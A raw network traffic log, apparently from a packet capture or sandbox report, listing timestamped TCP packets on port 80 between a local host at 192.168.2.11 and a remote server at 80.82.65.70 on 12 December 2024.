                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.865765095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.865878105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.865906954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.865923882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.866465092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.866580963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.866688967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.867259026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.867310047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.867355108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.867371082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.868391991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.868436098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.868486881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869048119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869098902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869122028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869724035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869765043 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869777918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869832993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.869899035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.870384932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.870456934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.870528936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.870702028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.871284008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.871361017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.871452093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.871496916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.871962070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.872075081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.872123003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.926109076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.926201105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.926362038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.926553011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.926599979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.926635981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.927318096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.927369118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.927392006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.927408934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.928035021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.928230047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.962783098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.962868929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.962891102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963021040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963022947 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963059902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963179111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963241100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963692904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963747978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963783026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.963848114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.964453936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.964504004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.964564085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.964649916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.965254068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.965349913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.965353966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.965465069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966042995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966090918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966154099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966202974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966835022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966928959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.966985941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.967624903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.967678070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.967709064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.967783928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.968368053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.968425035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.968497038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.968642950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.969163895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.969238043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.969259977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.969319105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970066071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970123053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970146894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970191956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970768929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970870018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.970930099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.971541882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.971597910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.971635103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.971713066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.972408056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.972506046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.972517014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.972735882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.973154068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.973207951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.973342896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.973392963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.973908901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.973968983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.974014997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.974093914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.974632978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.974730968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.974747896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.974792957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.975414991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.975511074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.975533009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.975580931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.976197958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.976264954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.976326942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.976985931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.977027893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.977055073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.977119923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.041579008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.041707039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.041855097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.041856050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.041887045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.042129993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.042733908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.042790890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.042839050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.043504953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.043518066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.043697119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.043867111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.043919086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.044478893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.044640064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.045267105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.045321941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.045505047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.046057940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.046163082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.046222925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.046861887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.046904087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.046952009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.047622919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.047672033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.047727108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.047863007 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.048422098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.048537016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.048537970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.048574924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.049257040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.049277067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.049365997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.049964905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.050157070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.050220013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.050765991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.050826073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.050854921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.050898075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.051542997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.051587105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.051661968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.051702976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.052309990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.052438021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.052486897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.052568913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.053075075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.053206921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.053273916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.053337097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.053900957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.053961039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.054059982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.054200888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.054663897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.054749012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.054857969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.054893017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.055509090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.055619001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.055741072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.056211948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.056298018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.056350946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.056399107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.057015896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.057094097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.057147026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.057809114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.057919979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.057936907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.058073044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.058572054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.058737040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.058784962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.059420109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.059530020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.059536934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.059611082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.060120106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.060168982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.060198069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.060290098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.061157942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.061193943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.061217070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.061260939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.061907053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.061954975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.062035084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.062077045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.062607050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.062673092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.062685013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.062725067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.063302994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.063447952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.063477993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.063527107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.064105034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.064229965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.064344883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.064759970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118206024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118274927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118388891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118432999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118433952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118536949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118549109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.118596077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.119240999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.119328022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.119360924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.119431973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.120007038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.120117903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.120385885 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.154690027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.154840946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.154980898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.154980898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.155111074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.155284882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.155343056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.155903101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.156001091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.156023979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.156265020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.156655073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.156729937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.156783104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.157540083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.157622099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.157651901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.157668114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.158185959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.158292055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.158451080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.158978939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.159044981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.159125090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.159760952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.159920931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.159948111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.159962893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.160520077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.160578966 CET4981980192.168.2.1180.82.65.70
